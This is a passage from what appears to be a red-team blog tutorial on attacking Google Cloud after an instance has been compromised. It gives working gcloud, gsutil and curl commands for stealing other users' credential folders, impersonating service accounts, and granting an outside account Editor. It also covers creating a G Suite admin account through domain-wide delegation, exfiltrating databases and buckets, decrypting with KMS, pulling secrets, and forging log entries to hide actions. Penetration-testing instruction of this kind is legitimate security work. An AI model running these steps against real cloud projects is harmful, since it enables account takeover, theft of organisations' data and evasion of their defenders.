"keyAlgorithm": "KEY_ALG_RSA_2048"
}
```
If you do find one of these files, you can tell the `gcloud` command to re-authenticate with this service account. You can do this on the instance, or on any machine that has the tools installed.
```
$ gcloud auth activate-service-account --key-file [FILE]
```
You can now test your new OAuth token as follows:
```
$ TOKEN=`gcloud auth print-access-token`
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN
```
You should see `https://www.googleapis.com/auth/cloud-platform` listed in the scopes, which means you are not limited by any instance-level access scopes. You now have full power to use all of your assigned IAM permissions.
**Steal gcloud authorizations**
It's quite possible that other users on the same box have been running `gcloud` commands using an account more powerful than your own. You'll need local root to do this.
First, find what `gcloud` config directories exist in users' home folders.
```
$ sudo find / -name "gcloud"
```
You can manually inspect the files inside, but these are generally the ones with the secrets:
* \~/.config/gcloud/credentials.db
* \~/.config/gcloud/legacy_credentials/\[ACCOUNT]/adc.json
* \~/.config/gcloud/legacy_credentials/\[ACCOUNT]/.boto
* \~/.credentials.json
Now, you have the option of looking for clear text credentials in these files or simply copying the entire `gcloud` folder to a machine you control and running `gcloud auth list` to see what accounts are now available to you.
#### Service account impersonation <a href="service-account-impersonation" id="service-account-impersonation"></a>
There are three ways in which you can [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
* Authentication using RSA private keys (covered [above](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#find-service-account-keys))
* Authorization using Cloud IAM policies (covered below)
* Deploying jobs on GCP services (more applicable to the compromise of a user account)
It's possible that the service account you are currently authenticated as has permission to impersonate other accounts with more permissions and/or a less restrictive scope. This behavior is authorized by the predefined role called `iam.serviceAccountTokenCreator`.
A good example here is that you've compromised an instance running as a custom service account with this role, and the default service account still exists in the project. As the default service account has the primitive role of Project Editor, it is possibly even more powerful than the custom account.
Even better, you might find a service account with the primitive role of Owner. This gives you full permissions, and is a good target to then grant your own Google account rights to log in to the project using the web console.
`gcloud` has a `--impersonate-service-account` [flag](https://cloud.google.com/sdk/gcloud/reference/#--impersonate-service-account) which can be used with any command to execute in the context of that account.
To give this a shot, you can try the following:
```bash
# View available service accounts
gcloud iam service-accounts list
# Impersonate the account
gcloud compute instances list \
--impersonate-service-account xxx@developer.gserviceaccount.com
```
#### Exploring other projects <a href="exploring-other-projects" id="exploring-other-projects"></a>
If you're really lucky, either the service account on your compromised instance or another account you've bagged thus far has access to additional GCP projects. You can check with the following command:
```
$ gcloud projects list
```
From here, you can hop over to that project and start the entire process over.
```
$ gcloud config set project [PROJECT-ID]
```
#### Granting access to management console <a href="granting-access-to-management-console" id="granting-access-to-management-console"></a>
Access to the [GCP management console](https://console.cloud.google.com) is provided to user accounts, not service accounts. To log in to the web interface, you can grant access to a Google account that you control. This can be a generic "@gmail.com" account, it does not have to be a member of the target organization.
To grant the primitive role of Owner to a generic "@gmail.com" account, though, you'll need to use the web console. `gcloud` will error out if you try to grant it a permission above Editor.
You can use the following command to grant a user the primitive role of Editor to your existing project:
```
$ gcloud projects add-iam-policy-binding [PROJECT] \
--member user:[EMAIL] --role roles/editor
```
If you succeeded here, try accessing the web interface and exploring from there.
This is the highest level you can assign using the gcloud tool. To assign a permission of Owner, you'd need to use the console itself.
You need a fairly high level of permission to do this. If you're not quite there, keep reading.
#### Spreading to G Suite via domain-wide delegation of authority <a href="spreading-to-g-suite-via-domain-wide-delegation-of-authority" id="spreading-to-g-suite-via-domain-wide-delegation-of-authority"></a>
[G Suite](https://gsuite.google.com) is Google's collaboration and productivity platform which consists of things like Gmail, Google Calendar, Google Drive, Google Docs, etc. Many organizations use some or all of this platform as an alternative to traditional Microsoft AD/Exchange environments.
Service accounts in GCP can be granted the rights to programatically access user data in G Suite by impersonating legitimate users. This is known as [domain-wide delegation](https://developers.google.com/admin-sdk/reports/v1/guides/delegation). This includes actions like reading email in GMail, accessing Google Docs, and even creating new user accounts in the G Suite organization.
G Suite has [its own API](https://developers.google.com/gsuite/aspects/apis), completely separate from anything else we've explored in this blog. Permissions are granted to G Suite API calls in a similar fashion to how permissions are granted to GCP APIs. However, G Suite and GCP are two different entities - being in one does not mean you automatically have access to another.
It is possible that a G Suite administrator has granted some level of G Suite API access to a GCP service account that you control. If you have access to the Web UI at this point, you can browse to IAM -> Service Accounts and see if any of the accounts have "Enabled" listed under the "domain-wide delegation" column. The column itself may not appear if no accounts are enabled. As of this writing, there is no way to do this programatically, although there is a [request for this feature](https://issuetracker.google.com/issues/116182848) in Google's bug tracker.
It is not enough for you to simply enable this for a service account inside GCP. The G Suite administrator would also have to configure this in the G Suite admin console.
Whether or not you know that a service account has been given permissions inside G Suite, you can still try it out. You'll need the service account credentials exported in JSON format. You may have acquired these in an earlier step, or you may have the access required now to create a key for a service account you know to have domain-wide delegation enabled.
This topic is a bit tricky… your service account has something called a "client_email" which you can see in the JSON credential file you export. It probably looks something like `account-name@project-name.iam.gserviceaccount.com`. If you try to access G Suite API calls directly with that email, even with delegation enabled, you will fail. This is because the G Suite directory will not include the GCP service account's email addresses. Instead, to interact with G Suite, we need to actually impersonate valid G Suite users.
What you really want to do is to impersonate a user with administrative access, and then use that access to do something like reset a password, disable multi-factor authentication, or just create yourself a shiny new admin account.
We've created [this Python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_misc/blob/master/gcp_delegation.py) that can do two things - list the user directory and create a new administrative account. Here is how you would use it:
```bash
# Validate access only
./gcp_delegation.py --keyfile ./credentials.json \
--impersonate steve.admin@target-org.com \
--domain target-org.com
# List the directory
./gcp_delegation.py --keyfile ./credentials.json \
--impersonate steve.admin@target-org.com \
--domain target-org.com \
--list
# Create a new admin account
./gcp_delegation.py --keyfile ./credentials.json \
--impersonate steve.admin@target-org.com \
--domain target-org.com \
--account pwned
```
You can try this script across a range of email addresses to impersonate various users. Standard output will indicate whether or not the service account has access to G Suite, and will include a random password for the new admin account if one is created.
If you have success creating a new admin account, you can log on to the [Google admin console](https://admin.google.com) and have full control over everything in G Suite for every user - email, docs, calendar, etc. Go wild.
### Treasure hunting <a href="treasure-hunting" id="treasure-hunting"></a>
As hackers, we want a root shell. Just because. But in the real world, what matters is acquiring digital assets - not escalating privileges. While a root shell may help us get there, it's not always required. The following sections detail tactics to view and exfiltrate data from various Google services.
If you have been unable to achieve any type of privilege escalation thus far, it is quite likely that working through the following sections will help you uncover secrets that can be used again in earlier steps, finally giving you that sweet root shell you so desire.
#### Accessing databases <a href="accessing-databases" id="accessing-databases"></a>
Most great breaches involve a database of one type or another. You should follow traditional methods inside your compromised instance to enumerate, access, and exfiltrate data from any that you encounter.
In addition to the traditional stuff, though, Google has [a handful of database technologies](https://cloud.google.com/products/databases/) that you may have access to via the default service account or another set of credentials you have compromised thus far.
If you've granted yourself web console access, that may be the easiest way to explore. Details on working with every database type in GCP would require another long blog post, but here are some `gcloud` documentation areas you might find useful:
* [Cloud SQL](https://cloud.google.com/sdk/gcloud/reference/sql/)
* [Cloud Spanner](https://cloud.google.com/sdk/gcloud/reference/spanner/)
* [Cloud Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/)
* [Cloud Firestore](https://cloud.google.com/sdk/gcloud/reference/firestore/)
* [Firebase](https://cloud.google.com/sdk/gcloud/reference/firebase/)
You may get lucky and discover ready-to-go backups of your target database when [enumerating storage buckets](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#enumerating-storage-buckets). Otherwise, each database type provides various `gcloud` commands to export the data. This typically involves writing the database to a cloud storage bucket first, which you can then download. It may be best to use an existing bucket you already have access to, but you can also create your own if you want.
As an example, you can follow [Google's documentation](https://cloud.google.com/sql/docs/mysql/import-export/exporting) to exfiltrate a Cloud SQL database.
The following commands may be useful to help you identify database targets across the project.
```bash
# Cloud SQL
gcloud sql instances list
gcloud sql databases list --instance [INSTANCE]
# Cloud Spanner
gcloud spanner instances list
gcloud spanner databases list --instance [INSTANCE]
# Cloud Bigtable
gcloud bigtable instances list
```
#### Enumerating storage buckets <a href="enumerating-storage-buckets" id="enumerating-storage-buckets"></a>
We all love stumbling across open storage buckets, but finding them usually requires brute forcing massive wordlists or just getting lucky and tripping over them in [source code](https://about.gitlab.com/stages-devops-lifecycle/source-code-management/). As shown in the "access scopes" section above, default configurations permit read access to storage. This means that your shell can now enumerate ALL storage buckets in the project, including listing and accessing the contents inside.
This can be a MAJOR vector for privilege escalation, as those buckets can contain secrets.
The following commands will help you explore this vector:
```bash
# List all storage buckets in project
gsutil ls
# Get detailed info on all buckets in project
gsutil ls -L
# List contents of a specific bucket (recursive, so careful!)
gsutil ls -r gs://bucket-name/
# Cat the context of a file without copying it locally
gsutil cat gs://bucket-name/folder/object
# Copy an object from the bucket to your local storage for review
gsutil cp gs://bucket-name/folder/object ~/
```
If your initial `gsutil ls` command generates a permission denied error, you may still have access to buckets - you just need to know their names first. Hopefully you've explored enough to get a feel for naming conventions in the project, which will assist in brute-forcing.
You can use a simple bash loop like the following to work through a wordlist. You should create a targeted wordlist based on the environment, as this command will essentially look for buckets from any customer.
```bash
for i in $(cat wordlist.txt); do gsutil ls -r gs://"$i"; done
```
#### Decrypting secrets with crypto keys <a href="decrypting-secrets-with-crypto-keys" id="decrypting-secrets-with-crypto-keys"></a>
[Cloud Key Management Service](https://cloud.google.com/kms/docs/) is a repository for storing cryptographic keys, such as those used to encrypt and decrypt sensitive files. Individual keys are stored in key rings, and granular permissions can be applied at either level. An \[API is available] for key management and easy encryption/decryption of objects stored in Google storage.
If you're lucky, the service account assigned to your breached instance has access to some keys. Perhaps you've even noticed some encrypted files while rummaging through buckets.
It's possible that you have access to decryption keys but don't have the permissions required to figure out what those keys are. If you encounter encrypted files, it is worthwhile trying to find documentation, scripts, or bash history somewhere to figure out the required arguments for the command below.
Assuming you do have permission to enumerate, the process looks like this. Below we're assuming that all keys were made available globally, but it's possible there are keys pinned to specific regions only.
```bash
# List the global keyrings available
gcloud kms keyrings list --location global
# List the keys inside a keyring
gcloud kms keys list --keyring [KEYRING NAME] --location global
# Decrypt a file using one of your keys
gcloud kms decrypt --ciphertext-file=[INFILE] \
--plaintext-file=[OUTFILE] \
--key [KEY] \
--keyring [KEYRING] \
--location global
```
#### Querying custom metadata <a href="querying-custom-metadata" id="querying-custom-metadata"></a>
Administrators can add [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) at the instance and project level. This is simply a way to pass arbitrary key/value pairs into an instance, and is commonly used for environment variables and startup/shutdown scripts.
If you followed the steps above, you've already queried the metadata endpoint for all available information. This would have included any custom metadata. You can also use the following commands to view it on its own:
```
# view project metadata
$ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# view instance metadata
$ curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Maybe you'll get lucky and find something juicy.
#### Reviewing serial console logs <a href="reviewing-serial-console-logs" id="reviewing-serial-console-logs"></a>
By default, compute instances write output from the OS and BIOS to serial ports. Google provides [a couple of ways](https://cloud.google.com/compute/docs/instances/viewing-serial-port-output) to view these log files. The first is via the compute API and can be executed even via the restrictive "Compute: Read Only" access scope.
Serial console logs may expose sensitive information from the system logs, which a low-privilege shell on a compute instance may not have access to view. However, you might be able to bypass this restriction if the instance is bound to a service account with the appropriate rights. If these rights are granted project-wide, you'll be able to view the logs on all compute instances, possibly providing information required to move laterally to other instances.
You can use the following [gcloud command](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-serial-port-output) to query the serial port logs:
```
gcloud compute instances get-serial-port-output instance-name \
--port port \
--start start \
--zone zone
```
In addition, serial port logs may be stored to Cloud Logging, if [enabled by an administrator](https://cloud.google.com/compute/docs/instances/viewing-serial-port-output#enable-stackdriver). If you've gained access to read permissions for logging, this may be an alternative method to view this information. Read the "[Reviewing Stackdriver logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging)" section for more info.
#### Reviewing custom images <a href="reviewing-custom-images" id="reviewing-custom-images"></a>
Custom compute images may contain sensitive details or other vulnerable configurations that you can exploit. You can query the list of non-standard images in a project with the following command:
```
$ gcloud compute images list --no-standard-images
```
You can then [export](https://cloud.google.com/sdk/gcloud/reference/compute/images/export) the virtual disks from any image in multiple formats. The following command would export the image `test-image` in qcow2 format, allowing you to download the file and build a VM locally for further investigation:
```
$ gcloud compute images export --image test-image \
--export-format qcow2 --destination-uri [BUCKET]
```
#### Reviewing Custom Instance Templates <a href="reviewing-custom-instance-templates" id="reviewing-custom-instance-templates"></a>
An [instance template](https://cloud.google.com/compute/docs/instance-templates/) defines instance properties to help deploy consistent configurations. These may contain the same types of sensitive data as a running instance's custom metadata. You can use the following commands to investigate:
```
# List the available templates
$ gcloud compute instance-templates list
# Get the details of a specific template
$ gcloud compute instance-templates describe [TEMPLATE NAME]
```
#### Reviewing Stackdriver logging <a href="reviewing-stackdriver-logging" id="reviewing-stackdriver-logging"></a>
[Stackdriver](https://cloud.google.com/stackdriver/) is Google's general-purpose infrastructure logging suite. There is a LOT of data that could be captured here. This can include syslog-like capabilities that report individual commands run inside Compute Instances, HTTP requests sent to load balancers or App Engine applications, network packet metadata for VPC communications, and more.
The service account for a Compute Instance only needs WRITE access to enable logging on instance actions, but an administrator may mistakenly grant the service account both READ and WRITE access. If this is the case, you can explore logs for sensitive data.
[gcloud logging](https://cloud.google.com/sdk/gcloud/reference/logging/) provides tools to get this done. First, you'll want to see what types of logs are available in your current project. The following shows the command and output from a test project:
```bash
gcloud logging logs list
NAME
projects/REDACTED/logs/OSConfigAgent
projects/REDACTED/logs/cloudaudit.googleapis.com%2Factivity
projects/REDACTED/logs/cloudaudit.googleapis.com%2Fsystem_event
projects/REDACTED/logs/bash.history
projects/REDACTED/logs/compute.googleapis.com
projects/REDACTED/logs/compute.googleapis.com%2Factivity_log
```
The output you see will be all of the log folders in the project that contain entries. So, if you see it - something is there. Folders are generated automatically by the standard Google APIs but can also be created by any application with IAM permissions to write to logs.
You may notice an interesting custom name in the list above (unfortunately, `bash.history` is not a default). While you should inspect all log entries, definitely take the time to manually review and understand if something is worth looking at more closely.
You can view the logs for an individual item as follows.
```bash
gcloud logging read [FOLDER]
```
Omitting the folder name will just start dumping all the logs. You might want to add a `--LIMIT` flag if you do this.
If a service account has permissions to write to log file (even the most restricted generally do), you can write arbitrary data to existing log folders and/or create new log folders and write data there as follows.
```bash
gcloud logging write [FOLDER] [MESSAGE]
```
Advanced write functionality (payload type, severity, etc) can be found in the [gcloud logging write documentation](https://cloud.google.com/sdk/gcloud/reference/logging/write).
Extra-crafty attackers can get creative with this. Writing log entries may be an interesting way to distract the Blue Team folks, hide your actions, or even phish via detection/response events.
#### Reviewing cloud functions <a href="reviewing-cloud-functions" id="reviewing-cloud-functions"></a>
Google [Cloud Functions](https://cloud.google.com/functions/) allow you to host code that is executed when an event is triggered, without the requirement to manage a host operating system. These functions can also store environment variables to be used by the code. And what do people use environment variables for? Secrets!
You can see if any cloud functions are available to you by running:
```
gcloud functions list
```
You can then query an individual function for its configuration, which would include any defined environment variables:
```
gcloud functions describe [FUNCTION NAME]
```
The output log of previous runs may be useful as well, which you get review with:
```bash
# You can omit the function name to view all the logs
# By default, limits to 10 lines
gcloud functions logs read [FUNCTION NAME] --limit [NUMBER]
```
#### Reviewing app engine configurations <a href="reviewing-app-engine-configurations" id="reviewing-app-engine-configurations"></a>
Google [App Engine](https://cloud.google.com/appengine/) is another ["serverless"](https://about.gitlab.com/topics/serverless/) offering for hosting applications, with a focus on scalability. As with Cloud Functions, there is a chance that the application will rely on secrets that are accessed at run-time via environment variables. These variables are stored in an `app.yaml` file which can be accessed as follows:
```bash
# First, get a list of all available versions of all services
gcloud app versions list
# Then, get the specific details on a given app
gcloud app describe [APP]
```
#### Reviewing cloud run configurations <a href="reviewing-cloud-run-configurations" id="reviewing-cloud-run-configurations"></a>
Google [Cloud Run](https://cloud.google.com/run) is… yep, another "serverless" offering! You'll want to also look here for environment variables, but this one introduces a new potential exploitation vector. Basically, Cloud Run creates a small web server, running on port 8080, that sits around waiting for an HTTP GET request. When the request is received, a job is executed and the job log is output via an HTTP response.
When a Cloud Run service is created, the administrator has the option to use IAM permissions to control who can start that job. They can also configure it to be completely unauthenticated, meaning that anyone with the URL can trigger the job and view the output.
Jobs are run in containers via Kubernetes, in clusters that are fully managed by Google or partially managed via [Anthos](https://cloud.google.com/anthos).
Tread carefully here. We don't know what these jobs do, and triggering one without understanding that may cause heartache for your production team.
The following commands will help you explore this vector.
```bash
# First get a list of services across the available platforms
gcloud run services list --platform=managed
gcloud run services list --platform=gke
# To learn more, export as JSON and investigate what the services do
gcloud run services list --platform=managed --format=json
gcloud run services list --platform=gke --format=json
# Attempt to trigger a job unauthenticated
curl [URL]
# Attempt to trigger a job with your current gcloud authorization
curl -H \
"Authorization: Bearer $(gcloud auth print-identity-token)" \
[URL]
```
#### Reviewing AI platform configurations <a href="reviewing-ai-platform-configurations" id="reviewing-ai-platform-configurations"></a>
Google [AI Platform](https://cloud.google.com/ai-platform/) is (yep, another) "serverless" offering for machine learning projects.
There are a few areas here you can look for interesting information - models and jobs. Try the following commands.
```
$ gcloud ai-platform models list --format=json
$ gcloud ai-platform jobs list --format=json
```
#### Reviewing cloud pub/sub <a href="reviewing-cloud-pubsub" id="reviewing-cloud-pubsub"></a>
Google [Cloud Pub/Sub](https://cloud.google.com/pubsub/) is a service that allows independent applications to send messages back and forth.
Pub/Sub consists of the following [core concepts](https://cloud.google.com/pubsub/docs/overview#data_model):
* Topic: A logical grouping for messages
* Subscriptions: This is where applications access a stream of messages related to a topic. Some Google services can receive these via a push notification, while custom services can subscribe using a pull.
* Messages: Some data and optionally metadata.
There is a lot of potential for attackers here in terms of affecting these messages and, in turn, the behaviour of the applications that rely on them. That's a topic for another day - this section focuses only on mostly-passive exploration of these streams using [gcloud pubsub](https://cloud.google.com/sdk/gcloud/reference/pubsub/).
The following commands should help you explore.
```
# Get a list of topics in the project
$ gcloud pubsub topics list
# Get a list of subscriptions across all topics
$ gcloud pubsub subscriptions list --format=json
```
The [pull](https://cloud.google.com/sdk/gcloud/reference/pubsub/subscriptions/pull) command will allow us to mimic a valid application, asking for messages that have not yet been acknowledged as delivered. You can mimic this behaviour with the following command, which will NOT send an ACK back and should therefore not impact other applications depending on the subscription:
```bash
gcloud pubsub subscriptions pull [SUBSCRIPTION NAME]
```
A savvy attacker might realize that they could intentionally ACK messages to ensure they are never received by the valid applications. This could be helpful to evade some detection implementations.
However, you may have better results [asking for a larger set of data](https://cloud.google.com/pubsub/docs/replay-overview), including older messages. This has some prerequisites and could impact applications, so make sure you really know what you're doing.
#### Reviewing cloud Git repositories <a href="reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
Google's [Cloud Source Repositories](https://cloud.google.com/source-repositories/) are Git designed to be private storage for source code. You might find useful secrets here, or use the source to discover vulnerabilities in other applications.
You can explore the available repositories with the following commands:
```bash
# enumerate what's available
gcloud source repos list
# clone a repo locally
gcloud source repos clone [REPO NAME]
```
#### Reviewing cloud filestore instances <a href="reviewing-cloud-filestore-instances" id="reviewing-cloud-filestore-instances"></a>
Google [Cloud Filestore](https://cloud.google.com/filestore/) is NAS for Compute Instances and Kubernetes Engine instances. You can think of this like any other shared document repository - a potential source of sensitive info.
If you find a filestore available in the project, you can mount it from within your compromised Compute Instance. Use the following command to see if any exist.
```bash
gcloud filestore instances list --format=json
```
#### Taking a crack at Kubernetes <a href="taking-a-crack-at-kubernetes" id="taking-a-crack-at-kubernetes"></a>
[Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine/) is managed Kubernetes as a service.
Kubernetes is worthy of its own tutorial, particularly if you are looking to break out of a container into the wider GCP project. We're going to keep it short and sweet for now.
First, you can check to see if any Kubernetes clusters exist in your project.
```
gcloud container clusters list
```
If you do have a cluster, you can have `gcloud` automatically configure your `~/.kube/config` file. This file is used to authenticate you when you use [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), the native CLI for interacting with K8s clusters. Try this command.
```
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
```
Then, take a look at the `~/.kube/config` file to see the generated credentials. This file will be used to automatically refresh access tokens based on the same identity that your active `gcloud` session is using. This of course requires the correct permissions in place.
Once this is set up, you can try the following command to get the cluster configuration.
```
kubectl cluster-info
```
You can read more about `gcloud` for containers [here](https://cloud.google.com/sdk/gcloud/reference/container/).
#### Reviewing secrets management <a href="reviewing-secrets-management" id="reviewing-secrets-management"></a>
Google [Secrets Management](https://cloud.google.com/solutions/secrets-management/) is a vault-like solution for storing passwords, API keys, certificates, and other sensitive data. As of this writing, it is currently in beta.
If in use, this could be a gold mine. Give it a shot as follows:
```
# First, list the entries
$ gcloud beta secrets list
# Then, pull the clear-text of any secret
$ gcloud beta secrets versions access 1 --secret="[SECRET NAME]"
```
Note that changing a secret entry will create a new version, so it's worth changing the `1` in the command above to a `2` and so on.
As this offering is still in beta, these commands are likely to change with time.
#### Searching the local system for secrets <a href="searching-the-local-system-for-secrets" id="searching-the-local-system-for-secrets"></a>
Temporary directories, history files, environment variables, shell scripts, and various world-readable files are usually a treasure trove for secrets. You probably already know all that, so here are some regexes that will come in handy when grepping for things specific to GCP.
Each grep command is using the `-r` flag to search recursively, so first set the TARGET_DIR variable and then fire away.
```bash
TARGET_DIR="/path/to/whatever"
# Service account keys
grep -Pzr "(?s){[^{}]*?service_account[^{}]*?private_key.*?}" \
"$TARGET_DIR"
# Legacy GCP creds
grep -Pzr "(?s){[^{}]*?client_id[^{}]*?client_secret.*?}" \
"$TARGET_DIR"
# Google API keys
grep -Pr "AIza[a-zA-Z0-9\\-_]{35}" \
"$TARGET_DIR"
# Google OAuth tokens
grep -Pr "ya29\.[a-zA-Z0-9_-]{100,200}" \
"$TARGET_DIR"
# Generic SSH keys
grep -Pzr "(?s)-----BEGIN[ A-Z]*?PRIVATE KEY[a-zA-Z0-9/\+=\n-]*?END[ A-Z]*?PRIVATE KEY-----" \
"$TARGET_DIR"
# Signed storage URLs
grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
"$TARGET_DIR"
# Signed policy documents in HTML
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
"$TARGET_DIR"
```
#### Automating Enumeration <a href="automating-enumeration" id="automating-enumeration"></a>
If you're looking for a single script with most/all/maybe more of the commands run in this tutorial, you can take a look at [this bash script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_enum). It will create an output folder with all of the raw data your authenticated account has the permission to collect.
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